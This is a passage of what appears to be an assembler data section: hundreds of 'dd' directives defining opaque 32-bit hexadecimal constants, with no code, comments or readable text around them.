3D8F1E28h, 788744D1h, 6108A440h, 0CA4B1C42h, 0C36AC8FCh dd 0A79067E2h, 0F62752A9h, 0D9F862A6h, 180D71F8h, 66BB1DDDh dd 0DAB581D3h, 87825B8Fh, 2C22AA21h, 11E4C8ABh, 23E35B94h dd 5846824h, 30B06D9Bh, 79A4B135h, 0FC9B1808h, 7D20EC16h dd 0FD5625F8h, 79026806h, 290543E4h, 7414BFC9h, 2F22009Eh dd 0C04E9426h, 88AD5D81h, 1984C41Ah, 4459553Ah, 0AA231C68h dd 0C1805A5h, 0B8ECC3AEh, 27EE2E1h, 6AB0C0DCh, 0F8EF2880h dd 6E4803Ch, 7DD98084h, 9154E131h, 0A07A0C87h, 0DCA85C12h dd 0D000884h, 0FDF70410h, 3ABAA15Eh, 0C993588Ch, 0F278A253h dd 66B13029h, 0EC16FF1Ch, 5938D803h, 432B80DDh, 1B822F88h dd 0DF081C17h, 8BC360AFh, 0A9026A94h, 9515C95Ah, 8ED4596Bh dd 300877D9h, 2FAC3306h, 1C4C2519h, 0BC43865h, 0F5093060h dd 5C84EB02h, 58195918h, 84404CA0h, 0BD031000h, 0B7C77621h dd 541158B4h, 47BEC29Ch, 0CCC7985Dh, 0BEC29501h, 0F9C936E2h dd 8474206Bh, 44F3A8ADh, 8268ACF4h, 40DA6DA1h, 8E2A9Ah dd 47579DF4h, 0FE8DB9AFh, 0E79A1900h, 1D639692h, 5C54006Eh dd 0FE3C223h, 37068F72h, 0E16C3C09h, 50952310h, 5B81C31Fh dd 100A2287h, 5330C4E1h, 0DC41CB98h, 19E468D1h, 0C06A28B1h dd 108294B4h, 93A06916h, 0F45F4001h, 3C6392F9h, 0F3134101h dd 3024ABCBh, 5092E933h, 1CA621D3h, 0E61096F0h, 0D0F7A70Bh dd 0E414E5B8h, 1ABF6104h, 911D6120h, 0B009784Ch, 0DEBB0086h dd 9AF17952h, 9303541Fh, 5BDCD1C4h, 0AA29128Eh, 60E009A7h dd 0A61C04A5h, 8875B300h, 98FF8Ch, 0B1824987h, 55BCDAD3h dd 8EAC28EDh, 3324409Bh, 0F0FB1916h, 43F3EDD6h, 0D7014868h dd 0D11A433Fh, 2B1C75B8h, 57D26820h, 0DFA6006Ah, 0B664850Ah dd 47009CB5h, 4A66707Fh, 602C8A75h, 0AB4C39CFh, 622C0A9Ah dd 0CDA51C85h, 74CC6118h, 4739Dh, 16BDD74Eh, 3BA6A7h, 7D467867h dd 9CA2E7F6h, 0F1554132h, 5BB05AD6h, 0DDA42049h, 0F970E1C4h dd 3C68EC30h, 0D12F02h, 0A6B19FBCh, 38AD2B1Ah, 90F1D4B2h dd 44D5CAC0h, 63024CACh, 55A593F6h, 3554C690h, 0E8493A49h dd 2C9B16B8h, 0D4006CF3h, 3096293Ch, 2E0324BCh, 93113250h dd 5321091Ch, 4929C91h, 271765C0h, 0DF65BF01h, 0A545F063h dd 0C8C120h, 0CDA591Bh, 75BF685Ch, 302CD573h, 180B0CD7h dd 16705163h, 0B608169Bh, 95A005Ch, 0F8C6479h, 0C7500CFDh dd 6F9085BBh, 92931013h, 4E0094F7h, 0BC9FCFC1h, 19146F0Ch dd 10A4AC9Eh, 267784DAh, 438890FAh, 98DEC46Bh, 4432392Dh dd 710CB1F4h, 7D1809h, 0C7581027h, 0AD2AF0A6h, 53415669h dd 9887348h, 6E27D01Ch, 24E43Ch, 5C4035E9h, 0C2E7ECCFh dd 0BF090F00h, 8D8C06C7h, 559124Ah, 9BE84994h, 9A543C10h dd 0F00F2001h, 8F37A661h, 56DA530h, 0BFD926C3h, 0B6C84B90h dd 3A003C52h, 46F4986Ch, 57BD72h, 0DE4191BEh, 1897370Dh dd 77DC6253h, 0B09D9513h, 7DE204E2h, 3014F530h, 0E8A9179Ch dd 0BF3EA6A2h, 723A848Bh, 30F8570Dh, 6030D6BDh, 24C14C5Ah dd 5D049211h, 0CFB0190h, 0BE3C76AAh, 9B65E30h, 8555BBCBh dd 9FA94498h, 0C090F112h, 252154C2h, 7D50C8FCh, 98ABBD00h dd 0F7AD33EBh, 71F801D3h, 0FC77D455h, 91C5E85Eh, 6611AC99h dd 0A0174581h, 2CE7D27Ch, 175E813Fh, 0EA7E4A20h, 27B565ECh dd 50B299ACh, 55976482h, 0A3068120h, 27525A8h, 0A5AE2C84h dd 0AD044C44h, 3EE38403h, 0F87E63E1h, 0ED702Bh, 55AC7D41h dd 0C46C48F2h, 64101095h, 260E0060h, 0ED1F07AEh, 69B0C67Ah dd 97751D3Fh, 0F8F2594Bh, 9A44FE00h, 0DA7DED2Ch, 2CCBA64Eh dd 1B02E3DDh, 601A2577h, 17A9D757h, 0C8E1B32Bh, 0FC892DA8h dd 5FF848h, 4D1BAEF7h, 7DF8E111h, 7905E007h, 89E364F6h dd 6E4E9807h, 0F4909FACh, 0A0074D4h, 0BF8FB3BDh, 0F99139h dd 0E2264364h, 0FDC86246h, 3D0EF4A4h, 80F52B99h, 7ECBB107h dd 0EC7EB8h, 755773BDh, 7C0DC5C7h, 0E76A8E00h, 0AFB9CC8Bh dd 3FE8F174h, 0C44A0050h, 18E424DBh, 3200C798h, 0B2B4FABh dd 0A42EB4h, 3DAC036Dh, 4CADD091h, 305418B0h, 820B4FECh dd 8029D1CFh, 0D2962460h, 87A58F2h, 78C6AF8h, 4AC7A976h dd 0AB9AF206h, 0E4EF744Ch, 0E525DFD2h, 11B49D75h, 5C888065h dd 13543DABh, 0BFB8EDh, 0E4A8AAE1h, 94137C49h, 0DCCEC8AEh dd 20C02DC8h, 2DB0219Bh, 9CC00570h, 0A325B148h, 8810C158h dd 0FC796435h, 5A706BB8h, 40413A5Ah, 62AC2C69h, 71ECBDF4h dd 27D47F81h, 9837BE42h, 694FCE05h, 34F54CC0h, 5C10B5BCh dd 0A300CCF1h, 7E02F77Ah, 1C6B15C8h, 8053725Ch, 0C05EFFF3h dd 0B0BA8DADh, 153DC47Fh, 754C7B55h, 5296C06Ch, 2EB032Ch dd 0DD58E032h, 94879C76h, 5AEC321h, 9653D92Eh, 6FC0C702h dd 98D0585Eh, 80555858h, 18C0CFCh, 0EEA1FF20h, 23A8F395h dd 0EDB101D0h, 9D90F0ADh, 2BC8B831h, 8C6000E3h, 8AB0177Fh dd 0A3080966h, 1E91C5AFh, 404EE41h, 45DD9811h, 0D8BDDA2Ah dd 0FD504A02h, 0CF90167h, 431869D9h, 609EA701h, 0DAAC1854h dd 0DBD8402Eh, 933DC14Fh, 1532D502h, 0C864055Fh, 88116BA8h dd 5207C271h, 0D04FA43Ah, 0E55EF940h, 0ED29C05Fh, 8CB8840h dd 0B0E8950Bh, 1A0683D5h, 0B35CB376h, 9D29078Ch, 444C5F13h dd 0D8609CD2h, 465EA8B6h, 59200129h, 0F554CA0Bh, 105F1C4h dd 0C084AC3Dh, 0C60FA528h, 0ADB92040h, 1D4F91F2h, 0C88C0CBh dd 7CB760CEh, 0CD6C3CDh, 0FA3A536Ch, 0B8003841h, 94D322CEh dd 0C08019h, 7567EDBDh, 0C2D9BBA6h, 9430B15Ch, 0C6A9008Dh dd 0C802761Fh, 0B20E007Ah, 30D55244h, 1600F229h, 0B3999721h dd 0C282BAB9h, 0D62B4138h, 188114DCh, 1BAB9F96h, 3766C69h dd 0AD75E46Eh, 0CEE00931h, 8439B973h, 0F804869h, 28131Ah dd 0D287B2B1h, 0FC5F7A11h, 9FAA00B9h, 2F5C5075h, 2B0158DAh dd 519ABBA3h, 0A0207C7Eh, 93F0B4D9h, 6448E49Bh, 6329800h dd 0F73AD82Fh, 3F5F3E41h, 0F54F3080h, 5CDBAA8Bh, 4CD0764Bh dd 926BFDA6h, 68411C44h, 5F8EC00Ah, 19BE742Ch, 0B9F46A00h dd 0EAFD484Ah, 0DBA800A9h, 0CD6F62F7h, 0E2133D6Eh, 4600D35Ch dd 6B1FB1FAh dd 0F0F800BBh, 0E95AAE10h, 0E70074C6h, 0A40BB4C5h, 60A7E61Ch dd 18C728B3h, 0C900CDDFh, 90E90389h, 7F0AA1h, 6B1EF8FDh dd 0F2E7347Ah, 4305C900h, 42DC536Fh, 8DCE006Ch, 452112Bh dd 0C903643Fh, 1D0F20C5h, 1CF7A191h, 0EC8BD0h, 630C6086h dd 642B8FBCh, 0F3CC6D03h, 0D84C18C6h, 0BCB5467h, 0D9CD29A3h dd 7980338Eh, 5B31ABDEh, 51104760h, 0E099EAh, 0C767D3D0h dd 79614A34h, 6F42ED00h, 11E909B7h, 258500C2h, 84711B6Bh dd 600E567Ah, 0C791E48Ah, 8C9A68E5h, 0D0D504A1h, 9C00E4A2h dd 0FFE1B734h, 1FF8E078h, 189DE677h, 33C519DCh, 1C311E67h dd 241CA06h, 0E66506AFh, 0AC015E32h, 0DF20CBD6h, 84770Bh dd 0EA6E34FCh, 0EB568D83h, 9DD37500h, 0B6D04AECh, 3E5503E1h dd 0C7E27EB1h, 9907669Bh, 461C2A10h, 0A0565140h, 3AA700FAh dd 1B6D4924h, 554CC067h, 487600BFh, 0E0E4772Eh, 0EA1C18C7h dd 0D0229970h, 5534B1C7h, 843AE470h, 0F9E253h, 7E82D85Dh dd 5668838Fh, 40B51C34h, 0B3BA5C81h, 0A4DE1B00h, 0F518E360h dd 1681363h, 5A7E4296h, 4002EC23h, 2BEDAD08h, 0D0565900h dd 24145248h, 0F7C60184h, 975769F8h, 5021F98Ch, 6432B6A4h dd 9F4B6700h, 0D224F61Fh, 0F3BA035Fh, 7E4350DAh, 0CBCCA2B0h dd 0FE0C397Eh, 68A1E202h, 9A7F0032h, 6234A466h, 4F60EE03h dd 2EA05A30h, 0C59A8383h, 8C5280A1h, 475FF084h, 79629A01h dd 0C62C2DADh, 0E45027CDh, 310360FFh, 79481AC2h, 67198218h dd 0C04B44F0h, 0A865C1h, 790D5DA6h, 0FF5FAED7h, 0DEE90400h dd 3DEA2B7Ch, 6AEC01E7h, 5ABAC27Ah, 0BC88801Dh, 68B2B455h dd 9010C169h, 70F4988Dh, 0E7067CA9h, 1C50C612h, 0A87E7C71h dd 0A6FFFCh, 0A4B2FD11h, 0BD2A3719h, 0EAC71600h, 755DF027h dd 36B97F13h, 18587988h, 6E778F00h, 0D49934CAh, 0C900841Fh dd 18B49C88h, 3846273h, 0FA2999Fh, 7A89A0C5h, 0C0404479h dd 2ACA9331h, 590CF201h, 0A14B8B27h, 2A43BF8h, 0D6A555Ch dd 9480385Eh, 54E8DCA3h, 90C19D14h, 0FFC91EFBh, 800FF426h dd 484D400Fh, 0FDA61E3h, 0AC1EC55Ah, 5B17003Ch, 0A895A593h dd 0B7254300h, 0BD6AA2DCh, 309A3E0Fh, 809C5180h, 0D2639F7Dh dd 64156F01h, 5447AFC8h, 780767F0h, 0A418C062h, 2C3D5F3Eh dd 9C201857h, 7F07D168h, 82FD1067h, 3D3D8E1Eh, 89395040h dd 0E55BC6EAh, 0DE3E02Ah, 95DF0C00h, 2844F140h, 91790508h dd 29827D92h, 37819D20h, 1442C490h, 0C13E0803h, 0E3C80AA0h dd 2F003581h, 0EFC89C16h, 38156E42h, 0BCBADB5Ah, 0FB577002h dd 34932CE3h, 80C2082Ah, 72E9B423h, 3C00A01Fh, 5DE86443h dd 0D0ED0021h, 0BC424110h, 0E8A3DD24h, 4B6E4E2h, 0AD308B0Fh dd 53E9805Ch, 0B8E8C9h, 0D62AA44Dh, 2BDFD0F2h, 8C374600h dd 0E443E38Dh, 0AB3432EAh, 0D5103829h, 0E061880Dh, 88A8B088h dd 2F88294Ch, 0DE65880Eh, 8BAAA788h, 396F2184h, 7107912h dd 0FEF489A5h, 223A2722h, 1925DF1Dh, 0F0083C0Fh, 4093451Ch dd 94F4081h, 723F8EE4h, 28B68050h, 6205F920h, 1EC10175h dd 0B419DBEFh, 6E5F476h, 9322BB07h, 0C5A0C453h, 26945F26h dd 0CAB71Ah, 0F4240BE6h, 8D004A35h, 0CC2184C1h, 0EDBFB8h dd 8ABB74E0h, 0B7F8013Ch, 5B29D300h, 0E9AA3239h, 179071h dd 0DB098FF6h, 0BBC190DDh, 65EEB21Ch, 362B2340h, 3A24FBA2h dd 0ED007F53h, 0BF0849Eh, 5C1D29B2h, 0EEC041ACh, 0A2058F9h dd 1E910073h, 0ABAE43D2h, 6C0165B4h, 127D368Eh, 0C8CFDB72h dd 0A3AD07h, 0F960EB2Ch, 30A76AFBh, 4A368B00h, 0D2F2E93Fh dd 0DFC10077h, 74D8E619h, 327E602Bh, 0A10BF400h, 80E06DAAh dd 9FD0044h, 209F53D4h, 0A40033F0h, 0ACF24DDAh, 3885E901h dd 71FD68B3h, 0E67137h, 35306A63h, 86133DA8h, 62925F00h dd 2CD4710Bh, 0DF2B00CCh, 0BB1569C9h, 41007793h, 2DDA16A8h dd 1E590140h, 0C781D585h, 2071DD9Bh, 5132AE5h, 0C4245401h dd 0A14925F0h, 75743C4h, 84C814D9h, 0E9A330CCh, 5E00FC33h dd 8C22EBE0h, 0FC22941h, 94D3CADAh, 50672B67h, 449F793Dh dd 0EBE3F007h, 0BB10B220h, 777454h, 0E071DEBDh, 0E83B11C9h dd 0C90EB00h, 35DBEA8Eh, 8D7C95h, 49B52DFBh, 39E080B8h dd 55AE6900h, 815AD315h, 0B13400F0h, 3F731E1Dh, 4606805Ch dd 4A1CFCD0h, 0AC420198h, 3803DFF3h, 5F29DC0Ah, 1308E80Fh dd 44586135h, 5BFCA483h, 18900023h, 43C58955h, 0BD0CB4EBh dd 6AE0F738h, 686F00FAh, 4E71A4F4h, 0F0281C5Dh, 36989C47h dd 0ECA6C101h, 0D65B55BEh, 9EC81981h, 0C5CF3AF1h, 1896C07Fh dd 90F97100h, 0CE08100Fh, 0B01B001Fh, 1275934Ah, 0DB004CFBh dd 0A350E5D2h, 0E80CE26Ah, 0F3F73E74h, 0DFCE2700h, 73F176B1h dd 0E1AF0A00h, 59E9EAEBh, 4C380790h, 10E0DB6Fh, 23C2B4A3h dd 4974EF00h, 46DF4ECAh, 0E3CD3C1Eh, 265112h, 31B70E08h dd 451CBE9Ch, 12402D3Eh, 0AE5ECB98h, 475B00C2h, 0D8EBCCF7h dd 7B0085E1h, 37B4545Dh, 7FE6A831h, 15E24Eh, 600C6E1Ch dd 6598CEA3h, 493F8C00h, 931185C0h, 46920199h, 4DD60F18h dd 668CE0C2h, 500DD70h, 963BC4E6h, 0B10C50h, 4AF2A998h dd 5684035Ah, 933DD812h, 5D240600h, 993635h, 0E3346F77h dd 4E1E8D9Ch, 168A9509h, 7C0000BBh, 60B2F1AAh, 0C59111Ch dd 6A73D666h, 0BE329F63h, 0A4B7D0D9h, 6C5C001Ah, 7A1871CCh dd 53177B2Ah, 380152F7h, 0AF79E41Ch, 2354820h, 5BCEC413h dd 0E18EC088h, 0F72BFF40h, 4F6014B9h, 0FA4B1256h, 0C9A40070h dd 956D2EFDh, 8F008E10h, 1428A976h, 0CC3DD5h, 37BFB4AFh dd 6451F0Fh, 0F83A8878h, 71840252h, 0E09AF549h, 7EB71271h dd 7E260007h, 0E1DC4A4Bh, 28907F61h, 0EE943605h, 9000CDBCh dd 722F7CE5h, 0A62800F1h, 10F93FC9h, 6A00D32Bh, 58878B80h dd 0D667D9h, 0AC542F04h, 0A3A04C7Ah, 47C80E00h, 5AB6D07h dd 98A7001Ah, 0AF97E66Ah, 0E7004D27h, 0B731C15Ah, 140D42EAh dd 8891A7C7h, 0D8ED0200h, 0CDC230D7h, 0CC612200h, 0C8937794h dd 0C1C70044h, 0DA9201E7h, 1F0E7FB3h, 0C06BC295h, 0F9261EAFh dd 0FAD50FDEh, 0F8402A8Bh, 9823AA18h, 7DB12900h, 24DF47E0h dd 6BD53DE7h, 0D8127080h, 8A88C743h, 68002C77h, 0AC5DC1F9h dd 98B78B9Ch, 2CA1260h, 0B410AFA2h, 0B2F402C8h, 0F5CF5AECh dd 0DD9A0060h, 9F1E3900h, 962EF53Eh, 30FC0011h, 425B57BFh dd 0FF01382Ah, 0A01C731Bh, 59F1105Eh, 1E609AD0h, 407AF887h dd 0F58FF168h, 0FA00B36Ch, 19B17B36h, 5E82EFh, 53FBCC5Bh dd 5D561304h, 75CE4800h, 0D9E63E4Eh, 0F1200003h, 3DF874E5h dd 400504Ah, 0B642D144h, 1DB3076Ch, 4F06C0h, 37134C64h dd 6300C238h, 72C7DB44h, 0F77677h, 616C0ABBh, 0F9A95187h dd 53DF3400h, 15D29F0Dh, 5B00956h, 2084AEE5h, 7D0EC003h dd 6400C793h, 0CA9DC286h, 7CD187h, 58C58D1Eh, 8A63662Ah dd 260014F2h, 126D9255h, 4018769h, 59EFF9EBh, 0B87C91C8h dd 50D0DC5Eh, 0D73CC212h, 8FE54400h, 71607BFh, 0A836D857h dd 0CE68B02Ch, 863DE03Ah, 0FBBE8495h, 4C807A6Dh, 15CA2Ah dd 8C3A0709h, 55A134Ah, 0B730C500h, 7C9BE717h, 103D602Bh dd 227BA9C7h, 5DEED500h, 0B3091B24h, 0A2980035h, 0F5886283h dd 4C0041ABh, 52A008F0h, 96FFDCh, 0AE9C9B73h, 0A6912F80h dd 403338h, 0D07ECC57h dd 24010205h, 549298h, 245022BAh, 0AD00F0FBh, 999697AEh dd 79F343h, 0D4B844FEh, 0A6BFE841h, 21C78D2Ch, 0C2511500h dd 3DF189Bh, 0E3CC55B4h, 0EEE04172h, 3F0F3968h, 0A106E811h dd 316FD8AEh, 13C70FC4h, 25FB13h, 8AEEB6B8h, 34016688h dd 0CA5715BAh, 988024EAh, 30EF431Ah, 8001C64Ch, 35E3AF70h dd 9DCFACCh, 0B50E03DAh, 883DEFD6h, 0EBB283C8h, 6660E613h dd 0A541B800h, 0AFA1B0Ch, 1C8BDEC2h, 80D51ECCh, 651AF5DFh dd 4BF0B2EFh, 1B3DB600h, 0FD7259A7h, 406760F9h, 88C9A0DEh dd 16B23700h, 830B4B7Fh, 226A0034h, 2890C243h, 0A139F6D5h dd 0CBE802Ch, 182ADFDBh, 0BA747Eh, 0ACF884CCh, 0D6EC3067h dd 3867700h, 6B3FF75Eh, 0E2080237h, 60CE9ED3h, 6F9C0C80h dd 480033D8h, 0BEFB39ABh, 1FC4E2h, 0D1215999h, 5FA4A15Dh dd 8ECB9502h, 0C015EEC3h, 1F5A07D8h, 0C4A05541h, 0D0318B4Dh dd 0B76E780Ch, 2B470F00h, 323AFE07h, 25ED007Dh, 11C78A3Eh dd 0F103DFC2h, 83E99EE0h, 0E0E7D26Eh, 90853BDFh, 9A65167Ch dd 779F00E8h, 0F6A85874h, 2E3C79F0h, 0E3BC0016h, 231C814Fh dd 66D0099h, 0B8D6A389h, 6B7F6205h, 0CDEC7800h, 0DA3FEE50h dd 0FB3CE68Dh, 1824DF8h, 2A660502h, 0D4747AFAh, 0B73C7026h dd 0C6E48030h, 9CA4585Fh, 0E255000Eh, 0D89DF20Dh, 0A807A7EEh dd 0BA3F8B21h, 0E83A0379h, 0B9759062h, 0DC1D0330h, 38E76384h dd 0A9B7C7F0h, 141E0A00h, 0E6C42A31h, 971D00BEh, 7DF7B443h dd 5650307Ah, 37001ED6h, 0E11FEF4Eh, 73D59A75h, 1F098B7h dd 7691D12h, 0DC9E3246h, 6400FC71h, 5438A367h, 0D8D1B7h dd 36100211h, 32A50F8Fh, 0BFE33C00h, 0EF69304Fh, 0BC0A00E0h dd 4728A33Ah, 9E40F35Bh, 7630042Dh, 86E126DFh, 3E2E69A7h dd 65018F93h, 0B12DFFA1h, 13DC92DDh, 74AA0091h, 3D0CD898h dd 90B8D4B9h, 421DDB02h, 0E0F10241h, 3F580D4Ch, 0FF13B5F9h dd 0C98C00C5h, 0C3B1059Eh, 2F014900h, 0ECFB118Eh, 132800CCh dd 0D4E70FE0h, 9803DDF8h, 0A1A84473h, 0F41D9826h, 950D0456h dd 0C0D646B4h, 4EE9695Ch, 0D796C000h, 0BF3E421h, 8194A1CAh dd 771C9032h, 3C57400Ah, 98211260h, 4261DE00h, 6C4BBB02h dd 6DC803D0h, 19107972h, 0DF1C3FE8h, 164FEB01h, 154A88CEh dd 3EF80471h, 0B61807B0h, 302FF406h, 9D245F60h, 0D9507C13h dd 0BFB3BC00h, 3E03Eh, 0E8A4D06Eh, 0D7E40244h, 0F9A0290Dh dd 4460ACEBh, 0ED3D009Eh, 0A18FA4B3h, 1EE6B1B6h, 86C96095h dd 3E479E8h, 2F2E487Bh, 85B83388h, 0FA00F125h, 979AFDCh dd 90503667h, 8E7E68h, 0F75D891Fh, 2195AD06h, 0D71A3D00h dd 0EEB02065h, 1B62E473h, 291DB877h, 0DBBB2F80h, 7A064D04h dd 6F031EB0h, 74B256D2h, 0B2213CE0h, 385A3903h, 2260C402h dd 17782868h, 0E2C65400h, 0C28A38DEh, 5B3010Eh, 61E46E7h dd 30CFCCCAh, 0D2EAF8A0h, 27DD50Eh, 0F149406Ah, 6F0EB7h dd 0FF404BD3h, 0B6911B83h, 2B0C9300h, 43E9D08Fh, 7C850084h dd 8A6B718Ch, 1C01E4B4h, 18FAE9Fh, 8C304FFDh, 6C4A0EA5h dd 3C439311h, 9BA83DB3h, 1400F451h, 309A49F3h, 68DD44h dd 1CF8EBE7h, 350F788Eh, 0E46AB103h, 7657DBh, 0B6C57711h dd 0D8713237h, 300748h, 6BF2C886h, 162ABFh, 79AE9450h dd 753876ADh, 86CAA48h, 24335DB0h, 0EBF10001h, 38B134E2h dd 0DBF7612h, 0B78508Ch, 11ED1EF2h, 108C0000h, 0D307C822h dd 0A1A4B80Bh, 25491D80h, 0B9F2D9h, 781E504Fh, 691B9384h dd 96759500h, 18708F66h, 0B890E6h, 27D67AADh, 0C346268Eh dd 4D00D57Ah, 6E4F9A4Bh, 61A001h, 0EC0541F1h, 191438D9h dd 112DC500h, 24BE1694h, 34EB0343h, 25F980ABh, 95D280DFh dd 3A00D893h, 4CA7EAB7h, 908C716Eh, 0F2DEFCACh, 77F2E0C7h dd 0B83726DBh, 0F8630925h, 51973440h, 3EAC817h, 72654A02h dd 8EC9607Ch, 0ADA9006Fh, 0DFFA4A44h, 881268D4h, 3080B394h dd 4437F5EDh, 920F2AE0h, 21DA36D1h, 0A6ACBFC2h, 1C7BD0F4h dd 0D3228288h, 0C1448068h, 0A51DBCFBh, 18C349ADh, 0BCE47D86h dd 0D4BAC880h, 5AE900A7h, 1B990339h, 0B6003C0Dh, 0C8EBE40Bh dd 90D4AE3Bh, 0CAE10003h, 711D483Fh, 7A0CD6D2h, 280F38CFh dd 0CB91462h, 0F300B86Eh, 2AE7592Ch, 98008CFFh, 0D1C37F30h dd 60B325CFh, 26EF1091h, 0A1009EF4h, 0F3389C90h, 3AF1700Dh dd 723C934Dh, 8600A15Ch, 2844129Ah, 2700A557h, 0E697FC9Dh dd 8FE5Bh, 8A4E131Fh, 0E2805C23h, 674E1E2h, 35E5300h, 0F1B54414h dd 45BD0075h, 0E3E794Bh, 2300689Bh, 76D5810Ch, 0E94601h dd 0AFF0B41h, 9CA38698h, 0B01F3500h, 28DF4451h, 3C9148FEh dd 6521409Dh, 66CBB35Fh, 2D7141EAh, 4A006C90h, 0E2DDF6F1h dd 0A92089h, 0CF3057D1h, 5F63EBB3h, 4CB83BE4h, 4AEC1A00h dd 6049992Fh, 5C650073h, 6A4D11ACh, 0FD7005D6h, 622F1413h dd 1DE03C14h, 0A8002A85h, 0E3111798h, 9F7E0903h, 0DC019D45h dd 0CD209390h, 9EA82034h, 94ECC800h, 8828F8DDh, 0C1FB00B6h dd 565790F1h, 2300C9BBh, 59B93BD3h, 690AF7h, 3C8D5EEAh dd 0FD429A24h, 5F62DC05h, 0E280836Bh, 0E1F803Dh, 0B4484361h dd 0C865CAE0h, 0CC0026E8h, 0F049D8AEh, 0F401F163h, 696F1E8Ah dd 8064DEC4h, 655F12C2h, 491E7BF7h, 0FC800C14h, 0AE6D4F7Dh dd 61E800EEh, 0A9945F7Ch, 8818CD3Ch, 10112AC7h, 0DAFA86h dd 0C4960F34h, 0AE747DC2h, 0E7886700h, 8E611476h, 0C63B075Ah dd 609759BCh, 8835ACB9h, 2C1EA800h, 80A61899h, 0B38300F7h dd 0FA044234h, 6A00C410h, 5BBAFCD2h, 90C6997Eh, 0E861FBD8h dd 0D5CAF600h, 845800EAh, 708B7F7Ch, 0B9008F6Ch, 0D2A0493Fh dd 292897BBh, 0E89A5Dh, 0ADE7013Eh, 4BE49412h, 20E03Eh dd 0B130802Bh, 0B94FF875h, 0D6ED0018h, 0B85744E0h, 14FB5Ch dd 9928A4AAh, 738A2DEh, 3EE3E848h, 40EED008h, 0DA07EF0Ch dd 966D303Fh, 649DA220h, 0E1E700BAh, 0E2580217h, 0F63D6A5Ah dd 99CC8E8Ah, 385FE02Ah, 58E8D74h, 0B8D5E0B4h, 0F840C086h dd 8400E91Ah, 16A30F3h, 0EA29AFh, 0ABF07668h, 48CEFD3Ch dd 0DCC6200h, 8D3D0882h, 2E6F0043h, 4DA4A2DAh, 2AEC3E6Eh dd 0CC964A00h, 0F78ABE49h, 0AE9003D4h, 29D9C7B1h, 0B7A660FFh dd 5100DD42h, 67B02E6Ah, 47B63CEh, 5C1AD022h, 0C11E40BDh dd 6A1BA2h, 957592DAh, 0ADC340C8h, 0D330AC09h, 674A2DDh dd 0C7B7C0F2h, 484F86h, 218714E8h, 0B4926E6Ch, 78AC9C05h dd 0BC00825Fh, 0DD8A4B91h, 32890026h, 8FA3BC35h, 0FC00703Ah dd 59B48D03h, 2CC9C4ACh, 73415F9h, 500748h, 9255FDCAh dd 0D26D1700h, 7C9B3577h, 564758Dh, 0BF1B26B8h, 857C81E3h dd 2E1A20CAh, 0D67E85B8h, 9609D21Ch, 0B3871600h, 90CBDD1Dh dd 53810073h, 0A2638D7Ah, 0C116335Ah, 3C00B67Fh, 0E3CEE131h dd 2DDF0027h, 32C44418h, 0F07A311h, 660C2A88h, 0A09380C0h dd 341B07BCh, 0B374CC2Ch, 0CDD07A73h, 8401691Dh, 0C5548ABh dd 78D8D8E4h, 636000A8h, 9B4F358Fh, 1800D4C5h, 7DCABA6Eh dd 2999F3h, 0B51A0DD8h, 77981284h, 0D3EE0300h, 56AB1683h dd 0DE350033h, 0D11BC891h, 0EEE03E14h, 80367125h, 345C960h dd 0CAC800CBh, 81BC8C5Fh, 5500F476h, 88E37513h, 1C9EC3F2h dd 0C0B96E28h, 12D6241Eh, 0CD001B10h, 2296AD5Fh, 5D0944h dd 9A9F4A1Ch dd 11C92D5Bh, 0F82AA83Ah, 11494132h, 0FDCB021Ah, 0F2A010A0h dd 5D00340Bh, 7D9C8C29h, 304A247Fh, 11A02F56h, 550789A1h dd 8DC2AFF6h, 684AB88Ch, 802C201Eh, 10086A61h, 12EE50DCh dd 0A354AEF2h, 3F844B18h, 0CE980AA6h, 0A7A238E1h, 889BBE29h dd 1431160Ah, 7070210h, 60AEA789h, 12D87372h, 64DBBC00h dd 56C80608h, 27C40034h, 0EA58DCF2h, 25009C13h, 111B0954h dd 3A7A8364h, 0E4007406h, 0E8DD9644h, 0AC034768h, 36401B0Bh dd 1CA1986Fh, 20612C82h, 0A57807FDh, 0D33AE02Ch, 1024D605h dd 4C00326Eh, 33E56281h, 931C3C38h, 0A8B34400h, 1D86D36Ah dd 0C50F7500h, 2E704807h, 0C81E1DBAh, 0ADDE800Ah, 72305250h dd 4C00BB4Bh, 77449B51h, 11F9CA12h, 8095F04h, 0EE4605Bh dd 0EBD20091h, 45826A59h, 70009885h, 203C9D93h, 474CDA3h dd 2236A615h, 7C8C865h, 4BBBD00h, 0DE3C1197h, 9F1F1D27h dd 4F2F84ACh, 6110C07Ch, 50829BFCh, 6F2B07E4h, 436A413Dh dd 0C9F82590h, 617F10FDh, 21C74A00h, 0B8B9E0A6h, 77F32EAEh dd 0AA803E9Ch, 95FB98DCh, 1F009CA8h, 16469EA0h, 3903CC50h dd 86002B9Ah, 2AFC8D9Bh, 0F5004D83h, 9F25C2F7h, 11EB6Bh dd 5B1262DAh, 0CD82B896h, 0A840834Bh, 786E02DBh, 1F8E00C1h dd 93192D95h, 51000EC3h, 68162CDFh, 0CC4FBE4h, 7F566BD9h dd 1D001768h, 33AA44D7h, 71B9DDA4h, 0C7960010h, 28E42B5Ah dd 140038DAh, 653A6F13h, 1F682473h, 0C05AD858h, 55E9C790h dd 20A5274h, 84B50DBBh, 5F339800h, 56CABAAh, 1E4C5D31h dd 0FCD80B10h, 0D4E66702h, 0D8945CD8h, 93C8C07h, 600BB222h dd 0FB86A8h, 0BA1360E8h, 64F7536Bh, 2F665B0Ch, 0F4B860A5h dd 8B8A107Fh, 0CC6C2CFCh, 80DCDF8Eh, 0E50F159Fh, 3E1300C0h dd 0D61003D5h, 2406755Fh, 4B417608h, 0E7462CAEh, 240025B8h dd 5ACD7184h, 0D96EE100h, 9957911Ch, 0F94E0533h, 3CBD17h dd 19CFA398h, 4201E07Ch, 3189C0B0h, 18C8F0F7h, 0E5E300A7h dd 21A5827Dh, 7E0384EAh, 25D748CDh, 0ED77FF60h, 9D684B51h dd 0E5E9AD4h, 3EF62A97h, 1CD6C960h, 88E2C555h, 525B0900h dd 9D1E3A94h, 969A0225h, 9B89BC4Dh, 0D15044E0h, 0FA76BE00h dd 0C7FDC827h, 9F820014h, 8D8EE528h, 0B000D856h, 0AA16B23h dd 7DAAF1FAh, 0B8BD0416h, 87DED60Ch, 25A75F9Ch, 0DF7FE0E2h dd 730176A3h, 0FB7281B7h, 0F730E55Eh, 42E900C5h, 0A56CC94Ah dd 27122A73h, 6800D61Ch, 16AE8202h, 0DEDF3CD2h, 190F980h dd 6DA4E6CEh, 0A5139500h, 874B968Dh, 0F1764091h, 38E43A7Bh dd 71EDFC0Fh, 221BC0D6h, 7E05760Ah, 3FEA0241h, 94CAA715h dd 4D1FD054h, 896ED440h, 